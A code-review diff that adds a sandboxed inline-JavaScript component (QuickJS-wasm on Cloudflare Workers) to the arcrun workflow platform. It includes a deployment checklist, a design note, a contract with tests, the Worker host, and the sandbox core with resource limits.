Compare commits
8 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 4439880bbd | |||
| b87c18df60 | |||
| 08a79229a5 | |||
| 1a7b4639c3 | |||
| d93dc4e350 | |||
| efa0b0578c | |||
| 60f5f10ba5 | |||
| cc494a250e |
@@ -0,0 +1,48 @@
|
||||
# `code` 零件 —— 部署清單(過閘用;本輪不執行)
|
||||
|
||||
> 封裝=A(quickjs-emscripten singlefile variant)。`code` 是**自足 Worker**,不走
|
||||
> `deploy-logic-components.sh`(那條是 TinyGo-wasm 專用)。以下由 leo 過閘後執行。
|
||||
|
||||
## 1. 部署 code Worker(wrangler,禁 acr update)
|
||||
|
||||
```bash
|
||||
cd registry/components/code
|
||||
npm install # 裝 hono + quickjs-emscripten-core + singlefile variant
|
||||
npm test # 12 測試須綠(部署前 gate)
|
||||
npx wrangler deploy # → arcrun-code,route code.arcrun.dev/*
|
||||
```
|
||||
|
||||
- Worker 名:`arcrun-code`;route:`code.arcrun.dev/*`(見 `wrangler.toml`)。
|
||||
- **無需注入任何 secret/env**:`code` 零件不碰網路/env,Worker 本身零 binding。
|
||||
- 冷啟:quickjs wasm 內嵌 base64、同步 instantiate;首個請求 instantiate 一次後 module 快取。
|
||||
|
||||
## 2. 註冊到 registry index
|
||||
|
||||
```bash
|
||||
REGISTRY_URL=https://registry.arcrun.dev bash registry/scripts/register-component.sh code
|
||||
```
|
||||
|
||||
- contract 已過 zod schema 驗證(`stability: floating`、`category: logic`、
|
||||
`io_model: stdin_stdout_json`、`gherkin_tests` ≥2)。
|
||||
- `sandbox_limits` / `config_example` 為 yaml 內文件欄位,registry index 會 strip(不影響)。
|
||||
|
||||
## 3. 冒煙驗證(部署後)
|
||||
|
||||
```bash
|
||||
# 基本
|
||||
curl -s https://code.arcrun.dev/ | jq # {ok:true, component:"code"}
|
||||
curl -s -X POST https://code.arcrun.dev/ -H 'content-type: application/json' \
|
||||
-d '{"code":"return {sum: input.a + input.b};","input":{"a":2,"b":40}}' | jq
|
||||
# → {"success":true,"data":{"sum":42}}
|
||||
# 隔離
|
||||
curl -s -X POST https://code.arcrun.dev/ -H 'content-type: application/json' \
|
||||
-d '{"code":"return typeof fetch;","input":{}}' | jq
|
||||
# → {"success":true,"data":"undefined"}
|
||||
```
|
||||
|
||||
## 4. 依賴的下游(Arcrun#8 workflow —— 另一分支)
|
||||
|
||||
`code` 零件是 `km_wiki_ingest_drain` workflow 的前置。workflow 在
|
||||
`feat/issue-8-mechanical-wiki-ingest` 分支,以 `component: code` 引用本零件(registry 解析),
|
||||
不需本零件檔案同分支。issue-8 的部署與 notes 寫入量見該分支 `DEPLOY.md` /
|
||||
本輪回報的「一次過閘清單」。
|
||||
@@ -0,0 +1,90 @@
|
||||
# `code` 零件 —— 沙箱設計小結(Arcrun#10)
|
||||
|
||||
> 狀態:**Workers 就緒(裁定 A,可部署)**,Node/vitest 12/12 綠燈,**未部署 leo21c**。live 前需總管與 leo 過寫入/部署閘。封裝=A(quickjs-emscripten singlefile variant);B(自建 QuickJS+wasi-sdk)列後續技術債。
|
||||
|
||||
## 0. arcrun 零件 runtime 真相(先摸清再設計)
|
||||
|
||||
- 每個 logic 零件 = **一顆 Worker**(`{name}.arcrun.dev`),POST JSON → 內部跑 wasm → JSON 回傳。
|
||||
- 零件實作 = **Go(`//go:build tinygo`)→ TinyGo 編成 WASI-preview1 wasm**,build 時靜態 bundle 進 Worker(`wrangler.toml [[wasm_modules]]`)。
|
||||
- host(`component-worker-template/src/index.ts`)**用 TS 自己實作一份 WASI-preview1 shim**:`fd_read` 餵 stdin(= POST body 的 JSON)、`fd_write` 收 stdout(= 回傳 JSON)。
|
||||
- `no_network` / `no_filesystem` **不是靠 wasm 自律,是 host 根本不提供那些 import**:`sock_*` / `path_*` 全回 `ENOSYS(76)`、`u6u.http_request` no-op。→ 零件對外「無 ambient 能力」是**由 host 建構保證**的。
|
||||
- runtime 是 **workerd(=cf-workers)**;contract 的 `wazero` 只是相容標記(本機/CLI 測試路徑),生產不經 wazero。
|
||||
|
||||
**關鍵結論**:host 只認 WASI-preview1 + stdin/stdout JSON,**與 guest 語言無關**。所以載入「QuickJS 編成的 wasm」與載入 TinyGo wasm 在 runtime 層是同一件事 —— **QuickJS-wasm 可行,且完全合現有零件模型**。差別只在 guest 從「TinyGo」換成「QuickJS」,且 user 的 JS 是「跑時餵進去的資料」而非「build 時編進去的程式」。
|
||||
|
||||
## 1. 沙箱機制
|
||||
|
||||
user JS 跑在 **QuickJS context** 裡,該 context 三層封裝、逐層無逃逸:
|
||||
|
||||
```
|
||||
Cloudflare Worker isolate(V8)
|
||||
└─ QuickJS wasm module(線性記憶體沙箱;無 WASI 網路/檔案 import)
|
||||
└─ QuickJS JS context(global 只有純 ECMAScript 內建)
|
||||
└─ user code:讀 input、return 值
|
||||
```
|
||||
|
||||
- **無 ambient 能力(by construction)**:QuickJS context 起始 global 只有 `Object/Array/JSON/Math/Date/String/RegExp…`,**沒有** `fetch/process/require/WebAssembly/XMLHttpRequest/globalThis.env`。要給的能力必須 host 明確、逐一注入。
|
||||
- **唯一注入的 curated builtin**:`sha256(str)`(純、決定性、零能力 —— 不能碰網路/檔案/secret)。card→envelope 的 content_hash 需要它。任何新 builtin 都必須維持「純函式、無 ambient 能力」這條線。
|
||||
- **input 穿越邊界**:以 JSON 字串 marshal,沙箱內 `JSON.parse` —— host 與 guest **不共享物件圖**,杜絕 prototype/引用逃逸。
|
||||
- **user code 形狀**:當「函式體」跑(可含 `const`/`function` 宣告、以 `return` 回值),綁定唯一入參 `input`。回值 `JSON.stringify` 後交回 host。
|
||||
|
||||
## 2. 生產路徑(裁定 A,已就緒)
|
||||
|
||||
`sandbox.mjs` 為 **runtime-agnostic 核心**,Node 測試與 CF Worker **共用同一份**:
|
||||
|
||||
- **封裝**:`@jitl/quickjs-singlefile-mjs-release-sync` variant(wasm 內嵌 base64、同步載入)
|
||||
—— CF Workers 相容 loading 路徑(不靠 fetch/fs 取 .wasm),bundler 友善、無需 `[[wasm_modules]]`。
|
||||
- **`sha256` curated builtin**:以**純 JS SHA-256 字串 prelude** 注入沙箱(不呼叫 host、不用 async
|
||||
Web Crypto、不需 `nodejs_compat`),Node/Worker 皆決定性;與 Node crypto sha256 逐字等價
|
||||
(測試 ⑤ 對 card 全文比對 content_hash 相同)。「curated builtin = 純演算法字串」定為往後標準。
|
||||
- **Worker host**:`index.ts`(Hono,POST /→`runCode`),自足 Worker,不走 TinyGo 模板流程。
|
||||
- **測試**:`sandbox.mjs` + `test/` 在 **Node/vitest 12/12 全綠**(含 card→envelope 全等)。
|
||||
- **與 B 的差**:B(自建 QuickJS+wasi-sdk→preview1 wasm,跑現有 WASI host shim)最同構,但需
|
||||
wasi-sdk 工具鏈(本環境無 sysroot)+維護 C harness,列後續技術債。
|
||||
|
||||
## 3. 資源限制(防跑飛)
|
||||
|
||||
| 限制 | 機制 | 預設 |
|
||||
|---|---|---|
|
||||
| 執行 timeout | QuickJS runtime `setInterruptHandler`(逐指令檢查 wall-clock deadline) | 1000 ms |
|
||||
| 記憶體 | `setMemoryLimit`(QuickJS runtime 硬上限) | 16 MiB |
|
||||
| 堆疊 | `setMaxStackSize`(防深遞迴) | 512 KiB |
|
||||
| 輸出大小 | host 量測 stdout JSON bytes,超限即 `ResourceError` | 1 MiB |
|
||||
| code 大小 | host 量測 user code bytes,超限即 `ResourceError` | 256 KiB |
|
||||
|
||||
節點 config 可覆蓋(但不得放寬過契約 `sandbox_limits` 硬上限 —— 由零件在讀 config 時 clamp)。
|
||||
|
||||
## 4. 錯誤處理(Worker 絕不掛)
|
||||
|
||||
一律回結構化 envelope,`error_type` 分類:
|
||||
- `UserCodeError`:user code 拋錯 / 語法錯誤。
|
||||
- `TimeoutError`:超時被 interrupt。
|
||||
- `ResourceError`:記憶體 / 輸出 / code 超限。
|
||||
- `ContractError`:輸入形狀不合(如 code 非字串)。
|
||||
- `SandboxError`:其餘沙箱層例外。
|
||||
|
||||
## 5. 安全性質(總結)
|
||||
|
||||
1. user code **無網路**:沒有 fetch/XHR,QuickJS wasm 也沒有 WASI socket import。
|
||||
2. user code **無檔案**:沒有 fs,WASI path_* 一律 ENOSYS。
|
||||
3. user code **無 env/secret**:沒有 process,Worker 的 `env`(bindings/secret)不進 QuickJS context。
|
||||
4. user code **碰不到 Worker 物件圖**:獨立 wasm 線性記憶體 + 獨立 QuickJS heap + JSON 邊界。
|
||||
5. **可終止**:timeout/記憶體/輸出上限,跑飛也不拖垮 Worker。
|
||||
6. **決定性**(除 `Date`/`Math.random`):curated builtin 全是純函式。
|
||||
|
||||
## 6. 設計岔路(給總管/leo 裁)
|
||||
|
||||
沙箱主機制 = **QuickJS-wasm**(本 PoC 已證可行且合模型)。封裝方式有兩條,取捨如下:
|
||||
|
||||
- **A. QuickJS-emscripten 直接在零件 Worker 用(PoC 走這條,推薦先行)**
|
||||
優點:本環境即可跑、npm 現成、限制 API 齊(timeout/mem/stack)、已在 Workers 驗證過可用。
|
||||
缺點:不經現有 TinyGo-wasm 的 `[[wasm_modules]]` + 自建 WASI shim 路徑,是零件家族裡的「特例封裝」。
|
||||
- **B. 自建 QuickJS+C-harness → wasi-sdk 編成 preview1 wasm,跑在現有 host shim(最「同構」)**
|
||||
優點:與其他零件同一條 runtime(同 WASI shim),`wasi_target: preview1` 名副其實,「無 ambient 能力」最純。
|
||||
缺點:需要 wasi-sdk 工具鏈(**本環境無 sysroot,無法即刻 build**)、要維護一段 C harness。
|
||||
|
||||
**建議**:先以 A live(快、已驗證),把 B 列為後續「收斂到同構 runtime」的技術債。若總管要求所有零件單一 runtime,則走 B,但需先補 wasi-sdk build 基礎設施。**此為安全敏感原語,機制選定請總管拍板再 live。**
|
||||
|
||||
## 7. 首個消費者(Arcrun#8)
|
||||
|
||||
`km_wiki_ingest_drain` 的 card→envelope 解析,把 `card-to-envelope.mjs` 的 `parseCard`/`planEnvelopes`/`planCard` 當作 `code` 節點的 inline JS(去掉 `import 'node:crypto'` 與 `export`,改用注入的 `sha256`)。PoC 測試 ⑤ 已證:**沙箱輸出與原始模組 `planCard` 逐欄全等**(含 content_hash)。→ 可丟掉 domain 零件 `km_wiki_card_parse`。
|
||||
@@ -0,0 +1,78 @@
|
||||
canonical_id: "code"
|
||||
display_name: "程式碼(沙箱 inline JS)"
|
||||
category: "logic"
|
||||
version: "v1"
|
||||
wasi_target: "preview1"
|
||||
stability: "floating"
|
||||
runtime_compat:
|
||||
- "cf-workers"
|
||||
- "workerd"
|
||||
constraints:
|
||||
max_size_kb: 2048
|
||||
max_cold_start_ms: 80
|
||||
no_network_syscall: true
|
||||
no_filesystem_syscall: true
|
||||
io_model: "stdin_stdout_json"
|
||||
# --- 沙箱資源上限(可被節點 config 的 limits 覆蓋,但不得放寬過硬上限)---
|
||||
sandbox_limits:
|
||||
timeout_ms: 1000
|
||||
memory_bytes: 16777216 # 16 MiB
|
||||
max_stack_bytes: 524288 # 512 KiB
|
||||
max_output_bytes: 1048576 # 1 MiB
|
||||
max_code_bytes: 262144 # 256 KiB
|
||||
input_schema:
|
||||
type: object
|
||||
required: [code]
|
||||
properties:
|
||||
code:
|
||||
type: string
|
||||
description: "一段 inline JS(函式體)。可讀綁定的 `input`,以 `return` 回傳一個 JSON-able 值。碰不到網路/檔案/env/secret。"
|
||||
input:
|
||||
description: "上游資料(任意 JSON),在沙箱內綁為全域 `input`。"
|
||||
limits:
|
||||
type: object
|
||||
description: "選填,覆蓋預設資源上限(不得超過契約 sandbox_limits 硬上限)。"
|
||||
properties:
|
||||
timeout_ms: { type: number }
|
||||
memory_bytes: { type: number }
|
||||
max_output_bytes: { type: number }
|
||||
output_schema:
|
||||
type: object
|
||||
properties:
|
||||
success:
|
||||
type: boolean
|
||||
data:
|
||||
description: "user code 的回傳值(success=true 時)。"
|
||||
error:
|
||||
type: string
|
||||
description: "success=false 時的錯誤訊息。"
|
||||
error_type:
|
||||
type: string
|
||||
enum: [UserCodeError, TimeoutError, ResourceError, ContractError, SandboxError]
|
||||
gherkin_tests:
|
||||
- scenario: "基本 sum"
|
||||
given: '{"code":"return {sum: input.a + input.b};","input":{"a":2,"b":40}}'
|
||||
then_contains: '"sum":42'
|
||||
- scenario: "沙箱隔離:碰不到 fetch"
|
||||
given: '{"code":"return typeof fetch;","input":{}}'
|
||||
then_contains: '"data":"undefined"'
|
||||
- scenario: "user code 拋錯 → 結構化 error"
|
||||
given: '{"code":"throw new Error(\"boom\");","input":{}}'
|
||||
then_contains: '"success":false'
|
||||
tags: [builtin, logic, code, sandbox, javascript, escape-hatch]
|
||||
description: >
|
||||
通用「程式碼逃生口」。跑一段 sandbox inline JS(n8n Code node 式):
|
||||
config 帶 `code`(inline JS 函式體),stdin 帶 `input`(上游 JSON),
|
||||
stdout 回 `{success, data}` 或 `{success:false, error, error_type}`。
|
||||
user code 在 QuickJS-wasm 沙箱內執行,只有純 ECMAScript 內建 + host 明確注入的
|
||||
curated builtin(目前:純函式 sha256),碰不到網路/檔案/env/secret/Worker 物件圖。
|
||||
用於一次性/小段程式邏輯(如卡片→envelope 文字處理),避免各自鑄 domain 零件。
|
||||
config_example: |
|
||||
my_code: # 節點名稱(可自訂)
|
||||
code: | # inline JS 函式體(必填);讀 input、return 一個 JSON-able 值
|
||||
const doubled = input.items.map(x => x * 2);
|
||||
return { doubled, count: doubled.length };
|
||||
input: # 上游資料(選填;workflow 可用引用注入)
|
||||
items: [1, 2, 3]
|
||||
limits: # 資源上限覆蓋(選填)
|
||||
timeout_ms: 2000
|
||||
@@ -0,0 +1,61 @@
|
||||
/**
|
||||
* arcrun `code` 零件 —— Worker host(可部署)
|
||||
*
|
||||
* POST / → { code, input?, limits? }
|
||||
* → QuickJS-wasm 沙箱(./sandbox.mjs 的 runCode)
|
||||
* → { success:true, data } | { success:false, error, error_type }
|
||||
*
|
||||
* 封裝=A(quickjs-emscripten wasmfile variant)。關鍵:CF Workers 禁止 runtime 從 bytes
|
||||
* 編譯 wasm(WebAssembly.instantiate(bytes) 被 embedder 擋),故不能用 singlefile(base64) 內嵌。
|
||||
* 改為 `import wasm from '.../wasm'` 讓 wrangler 在 build 時把 .wasm 綁成一個「已編好的
|
||||
* WebAssembly.Module」,再以 newVariant({ wasmModule }) 注入沙箱 → 執行期只 instantiate 既有
|
||||
* Module、不編譯,合 Workers 規則。無需 nodejs_compat(sandbox 用 TextEncoder 計 bytes)。
|
||||
*
|
||||
* 與其他 logic 零件不同:`code` 是自足 Worker(自帶 index.ts + sandbox.mjs + quickjs variant),
|
||||
* 不走 component-worker-template 的 TinyGo-wasm bundling 流程。部署見 DEPLOY.md。
|
||||
*/
|
||||
|
||||
import { Hono } from 'hono';
|
||||
import { cors } from 'hono/cors';
|
||||
import { newVariant } from 'quickjs-emscripten-core';
|
||||
import baseVariant from '@jitl/quickjs-wasmfile-release-sync';
|
||||
// wrangler 把相對路徑 .wasm import 綁成 WebAssembly.Module(build 時編好,執行期不重編)。
|
||||
// wasm 從 quickjs-wasmfile-release-sync vendored 進 vendor/(見 DEPLOY.md「vendor 步驟」)。
|
||||
import wasmModule from './vendor/quickjs.wasm';
|
||||
// @ts-expect-error —— sandbox.mjs 為 runtime-agnostic JS 核心(Node 測試與 Worker 共用同一份)
|
||||
import { runCode, setVariant } from './sandbox.mjs';
|
||||
|
||||
// 注入預編 Module(模組載入時一次)。之後 runCode 只 instantiate、不編譯。
|
||||
setVariant(newVariant(baseVariant, { wasmModule: wasmModule as WebAssembly.Module }));
|
||||
|
||||
const app = new Hono();
|
||||
app.use('*', cors());
|
||||
|
||||
app.get('/', (c) => c.json({ ok: true, component: 'code' }));
|
||||
|
||||
app.post('/', async (c) => {
|
||||
let body: { code?: unknown; input?: unknown; limits?: Record<string, number> };
|
||||
try {
|
||||
body = await c.req.json();
|
||||
} catch {
|
||||
return c.json({ success: false, error: 'request body must be JSON', error_type: 'ContractError' }, 400);
|
||||
}
|
||||
|
||||
if (typeof body.code !== 'string') {
|
||||
return c.json({ success: false, error: 'code (string) is required', error_type: 'ContractError' }, 400);
|
||||
}
|
||||
|
||||
try {
|
||||
const result = await runCode(body.code, body.input, { limits: body.limits });
|
||||
// sandbox 永遠回結構化 envelope;success=false 仍以 200 帶 error_type 回(零件語義層錯,非 HTTP 錯)
|
||||
return c.json(result);
|
||||
} catch (e) {
|
||||
// 理論上 runCode 自己 try/catch;這層是最後保險,Worker 絕不掛。
|
||||
return c.json(
|
||||
{ success: false, error: e instanceof Error ? e.message : String(e), error_type: 'SandboxError' },
|
||||
500,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
export default app;
|
||||
+2607
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"name": "arcrun-component-code",
|
||||
"version": "0.1.0",
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"description": "arcrun code 零件 —— sandbox inline JS(QuickJS-wasm, Workers-ready)",
|
||||
"main": "index.ts",
|
||||
"scripts": {
|
||||
"postinstall": "node scripts/vendor-wasm.mjs",
|
||||
"vendor": "node scripts/vendor-wasm.mjs",
|
||||
"test": "vitest run --config vitest.config.mjs",
|
||||
"predeploy": "node scripts/vendor-wasm.mjs",
|
||||
"deploy": "wrangler deploy"
|
||||
},
|
||||
"dependencies": {
|
||||
"@jitl/quickjs-wasmfile-release-sync": "^0.32.0",
|
||||
"hono": "^4.7.0",
|
||||
"quickjs-emscripten-core": "^0.31.0"
|
||||
},
|
||||
"devDependencies": {
|
||||
"vitest": "^3.1.0",
|
||||
"wrangler": "^4.0.0"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
// arcrun `code` 零件 —— 沙箱核心(runtime-agnostic:Node 與 CF Workers 共用同一份)
|
||||
// ---------------------------------------------------------------------------
|
||||
// 語義:n8n Code node 式。config 帶一段 inline user JS,stdin 帶 input JSON。
|
||||
// user code 只能:讀 `input`(已解析的 stdin JSON)、回傳一個 JSON-able 值。
|
||||
// user code 碰不到:網路 / 檔案 / env / secret / Worker 物件圖。
|
||||
//
|
||||
// 隔離機制:user JS 跑在 QuickJS(JS 直譯器)編成的 wasm sandbox 內。QuickJS
|
||||
// context 的 global 只有純 ECMAScript 內建(Object/Array/JSON/Math/Date/String…),
|
||||
// 沒有 fetch / process / require / globalThis.env / WebAssembly / 任何 host binding。
|
||||
// 要給的能力,只能由 host 明確、逐一注入 —— 目前唯一 curated builtin = 純函式 `sha256`,
|
||||
// 且以「純 JS 演算法字串 prelude」注入(不呼叫 host、不用 async Web Crypto,Node/Worker 皆決定性)。
|
||||
//
|
||||
// 封裝方式:quickjs-emscripten「wasmfile」variant + 預編 WebAssembly.Module 注入(見下方 setVariant)。
|
||||
// CF Workers 禁 runtime 從 bytes 編譯 wasm,故不用 singlefile(base64);改由 build 時編好 Module。
|
||||
//
|
||||
// 對齊 arcrun 契約:io_model=stdin_stdout_json、no_network_syscall、no_filesystem_syscall。
|
||||
|
||||
// wasm 載入以「variant 注入」制:CF Workers 禁止 runtime 從 bytes 編譯 wasm
|
||||
// (WebAssembly.instantiate(bytes) 被 embedder 擋),故必須用「已編好的 WebAssembly.Module」。
|
||||
// - Worker(index.ts):import 的 .wasm 由 wrangler 綁成 WebAssembly.Module → newVariant 注入。
|
||||
// - Node/vitest:由 .wasm bytes 建 new WebAssembly.Module(...) → 同一 newVariant 路徑注入。
|
||||
// 呼叫方必須在 runCode 前 setVariant()。sandbox 本身不綁定任何 variant(不 bundle 錯的 loader)。
|
||||
import { newQuickJSWASMModuleFromVariant } from 'quickjs-emscripten-core';
|
||||
|
||||
let _variant = null;
|
||||
/** 注入 quickjs variant(已含預編 WebAssembly.Module)。Worker 與 Node 各自注入自己的。 */
|
||||
export function setVariant(v) { _variant = v; _modulePromise = null; }
|
||||
|
||||
export const DEFAULT_LIMITS = {
|
||||
timeout_ms: 1000, // 牆鐘上限(Node/本機保護;CF 同步執行會凍結 Date.now,故非主保護)
|
||||
max_ticks: 500, // ★ 指令計數上限(CF 主保護):interrupt 回呼被叫超過此數即中止。
|
||||
// CF Workers 凍結同步 Date.now → 純同步無窮迴圈只能靠此計數中止。
|
||||
// 校準(leo21c 實測):interrupt cadence ≈ 5000 指令/tick;
|
||||
// 真實 card 解析 ≈ 4 ticks;CF CPU 1102 門檻 ≈ 1000+ ticks。
|
||||
// 500 ticks(≈ 2.5M 指令)= card 的 125× 餘裕、且穩在 CF 門檻下。
|
||||
// 需更多算力的 user code 可提高 limits.max_ticks(但別逼近 ~1000)。
|
||||
memory_bytes: 16 * 1024 * 1024, // QuickJS runtime 記憶體硬上限
|
||||
max_stack_bytes: 512 * 1024, // 遞迴/深堆疊上限
|
||||
max_output_bytes: 1024 * 1024, // stdout JSON 大小上限(防跑飛)
|
||||
max_code_bytes: 256 * 1024, // user code 本身大小上限
|
||||
};
|
||||
|
||||
// --- curated builtin:純 JS SHA-256(UTF-8 → hex)。無 host call、無 async。 ---
|
||||
// 以字串 prelude 注入沙箱,成為沙箱內一般函式 `sha256(str)`。與 Node crypto sha256 等價
|
||||
// (測試 ⑤ 對 card 全文比對 content_hash 逐字相同)。
|
||||
const SHA256_PRELUDE = `
|
||||
function sha256(ascii) {
|
||||
function rr(n, x) { return (x >>> n) | (x << (32 - n)); }
|
||||
var mathPow = Math.pow, maxWord = mathPow(2, 32), result = '';
|
||||
var words = [], asciiBitLength;
|
||||
var utf8 = [];
|
||||
for (var ci = 0; ci < ascii.length; ci++) {
|
||||
var code = ascii.charCodeAt(ci);
|
||||
if (code < 0x80) utf8.push(code);
|
||||
else if (code < 0x800) { utf8.push(0xc0 | (code >> 6), 0x80 | (code & 0x3f)); }
|
||||
else if (code < 0xd800 || code >= 0xe000) { utf8.push(0xe0 | (code >> 12), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f)); }
|
||||
else {
|
||||
ci++;
|
||||
code = 0x10000 + (((code & 0x3ff) << 10) | (ascii.charCodeAt(ci) & 0x3ff));
|
||||
utf8.push(0xf0 | (code >> 18), 0x80 | ((code >> 12) & 0x3f), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f));
|
||||
}
|
||||
}
|
||||
asciiBitLength = utf8.length * 8;
|
||||
var hash = sha256.h = sha256.h || [];
|
||||
var k = sha256.k = sha256.k || [];
|
||||
var primeCounter = k.length;
|
||||
var isComposite = {};
|
||||
for (var candidate = 2; primeCounter < 64; candidate++) {
|
||||
if (!isComposite[candidate]) {
|
||||
for (var i2 = 0; i2 < 313; i2 += candidate) isComposite[i2] = candidate;
|
||||
hash[primeCounter] = (mathPow(candidate, 0.5) * maxWord) | 0;
|
||||
k[primeCounter++] = (mathPow(candidate, 1 / 3) * maxWord) | 0;
|
||||
}
|
||||
}
|
||||
hash = hash.slice(0, 8);
|
||||
var bytes = utf8.slice();
|
||||
bytes.push(0x80);
|
||||
while (bytes.length % 64 - 56) bytes.push(0x00);
|
||||
for (var b = 0; b < bytes.length; b++) {
|
||||
words[b >> 2] |= bytes[b] << ((3 - b) % 4) * 8;
|
||||
}
|
||||
words[words.length] = (asciiBitLength / maxWord) | 0;
|
||||
words[words.length] = asciiBitLength;
|
||||
for (var j = 0; j < words.length;) {
|
||||
var w = words.slice(j, j += 16);
|
||||
var oldHash = hash;
|
||||
hash = hash.slice(0, 8);
|
||||
for (var i = 0; i < 64; i++) {
|
||||
var w15 = w[i - 15], w2 = w[i - 2];
|
||||
var a = hash[0], e = hash[4];
|
||||
var temp1 = hash[7]
|
||||
+ (rr(6, e) ^ rr(11, e) ^ rr(25, e))
|
||||
+ ((e & hash[5]) ^ ((~e) & hash[6]))
|
||||
+ k[i]
|
||||
+ (w[i] = (i < 16) ? w[i] : (
|
||||
w[i - 16]
|
||||
+ (rr(7, w15) ^ rr(18, w15) ^ (w15 >>> 3))
|
||||
+ w[i - 7]
|
||||
+ (rr(17, w2) ^ rr(19, w2) ^ (w2 >>> 10))
|
||||
) | 0);
|
||||
var temp2 = (rr(2, a) ^ rr(13, a) ^ rr(22, a))
|
||||
+ ((a & hash[1]) ^ (a & hash[2]) ^ (hash[1] & hash[2]));
|
||||
hash = [(temp1 + temp2) | 0].concat(hash);
|
||||
hash[4] = (hash[4] + temp1) | 0;
|
||||
}
|
||||
for (var i = 0; i < 8; i++) hash[i] = (hash[i] + oldHash[i]) | 0;
|
||||
}
|
||||
for (var i = 0; i < 8; i++) {
|
||||
for (var j = 3; j + 1; j--) {
|
||||
var b2 = (hash[i] >> (j * 8)) & 255;
|
||||
result += ((b2 < 16) ? 0 : '') + b2.toString(16);
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
`;
|
||||
|
||||
let _modulePromise = null;
|
||||
function getModule() {
|
||||
if (!_variant) throw new Error('sandbox variant not set — 呼叫 setVariant() 注入預編 WebAssembly.Module');
|
||||
if (!_modulePromise) _modulePromise = newQuickJSWASMModuleFromVariant(_variant);
|
||||
return _modulePromise;
|
||||
}
|
||||
|
||||
/**
|
||||
* 在沙箱內跑一段 user code。
|
||||
* @param {string} code user 的 inline JS(函式體:可含宣告、以 `return` 回值)
|
||||
* @param {*} input 已解析的 stdin JSON(會以 `input` 綁進沙箱)
|
||||
* @param {object} [opts] { limits }
|
||||
* @returns {Promise<{success:true,data:*}|{success:false,error:string,error_type?:string}>}
|
||||
*/
|
||||
export async function runCode(code, input, opts = {}) {
|
||||
const limits = { ...DEFAULT_LIMITS, ...(opts.limits || {}) };
|
||||
|
||||
if (typeof code !== 'string') return err('code must be a string', 'ContractError');
|
||||
if (byteLen(code) > limits.max_code_bytes) {
|
||||
return err(`code exceeds max_code_bytes (${limits.max_code_bytes})`, 'ResourceError');
|
||||
}
|
||||
|
||||
const QuickJS = await getModule();
|
||||
const runtime = QuickJS.newRuntime();
|
||||
runtime.setMemoryLimit(limits.memory_bytes);
|
||||
runtime.setMaxStackSize(limits.max_stack_bytes);
|
||||
|
||||
const deadline = Date.now() + limits.timeout_ms;
|
||||
let interrupted = false;
|
||||
let ticks = 0;
|
||||
runtime.setInterruptHandler(() => {
|
||||
// 主保護(CF-safe):指令計數。CF 凍結同步 Date.now,純同步無窮迴圈只能靠此中止。
|
||||
if (++ticks > limits.max_ticks) { interrupted = true; return true; }
|
||||
// 次保護(Node/本機):牆鐘 deadline(CF 同步期間不會推進,故僅在有 I/O 或非 CF 生效)。
|
||||
if (Date.now() > deadline) { interrupted = true; return true; }
|
||||
return false;
|
||||
});
|
||||
|
||||
const ctx = runtime.newContext();
|
||||
try {
|
||||
const inputJson = JSON.stringify(input === undefined ? null : input);
|
||||
|
||||
// 包裝:sha256 prelude + input 綁定 + user code 當函式體。回值 JSON.stringify 交回 host。
|
||||
const wrapped = `(() => {
|
||||
"use strict";
|
||||
${SHA256_PRELUDE}
|
||||
const input = JSON.parse(${JSON.stringify(inputJson)});
|
||||
const __run = (input) => { ${code}
|
||||
};
|
||||
const __out = __run(input);
|
||||
return JSON.stringify(__out === undefined ? null : __out);
|
||||
})()`;
|
||||
|
||||
const evalResult = ctx.evalCode(wrapped, 'user-code.js');
|
||||
|
||||
if (evalResult.error) {
|
||||
const detail = ctx.dump(evalResult.error);
|
||||
evalResult.error.dispose();
|
||||
if (interrupted) return err(`execution aborted: exceeded time (${limits.timeout_ms}ms) or instruction budget (${limits.max_ticks} ticks)`, 'TimeoutError');
|
||||
const msg = typeof detail === 'object' && detail
|
||||
? `${detail.name || 'Error'}: ${detail.message || ''}`.trim()
|
||||
: String(detail);
|
||||
return err(msg, 'UserCodeError');
|
||||
}
|
||||
|
||||
const outJson = ctx.getString(evalResult.value);
|
||||
evalResult.value.dispose();
|
||||
|
||||
if (byteLen(outJson) > limits.max_output_bytes) {
|
||||
return err(`output exceeds max_output_bytes (${limits.max_output_bytes})`, 'ResourceError');
|
||||
}
|
||||
return { success: true, data: JSON.parse(outJson) };
|
||||
} catch (e) {
|
||||
if (interrupted) return err(`execution aborted: exceeded time (${limits.timeout_ms}ms) or instruction budget (${limits.max_ticks} ticks)`, 'TimeoutError');
|
||||
const m = e instanceof Error ? e.message : String(e);
|
||||
if (/out of memory|memory/i.test(m)) return err('out of memory', 'ResourceError');
|
||||
return err(m, 'SandboxError');
|
||||
} finally {
|
||||
ctx.dispose();
|
||||
runtime.dispose();
|
||||
}
|
||||
}
|
||||
|
||||
function byteLen(s) {
|
||||
if (typeof Buffer !== 'undefined') return Buffer.byteLength(s, 'utf8');
|
||||
return new TextEncoder().encode(s).length;
|
||||
}
|
||||
|
||||
function err(message, error_type) {
|
||||
return { success: false, error: message, error_type };
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
// 把 quickjs-wasmfile variant 的 .wasm 複製進 vendor/,供 index.ts 以相對路徑 import
|
||||
// (wrangler 只可靠處理相對路徑 .wasm → CompiledWasm;node_modules 子路徑 .wasm 解析不穩)。
|
||||
// 由 postinstall 自動執行;vendor/*.wasm 為 build 產物、gitignored。
|
||||
import { copyFileSync, mkdirSync } from 'node:fs';
|
||||
import { createRequire } from 'node:module';
|
||||
const require = createRequire(import.meta.url);
|
||||
const src = require.resolve('@jitl/quickjs-wasmfile-release-sync/wasm');
|
||||
mkdirSync(new URL('../vendor/', import.meta.url), { recursive: true });
|
||||
copyFileSync(src, new URL('../vendor/quickjs.wasm', import.meta.url));
|
||||
console.log('vendored quickjs.wasm from', src);
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
---
|
||||
tags: [arcrun, 測試]
|
||||
gloss: 一張測沙箱用的示範卡片。
|
||||
pipeline_candidate: true
|
||||
---
|
||||
# 沙箱示範卡
|
||||
|
||||
← [[notes/00-INDEX]]
|
||||
|
||||
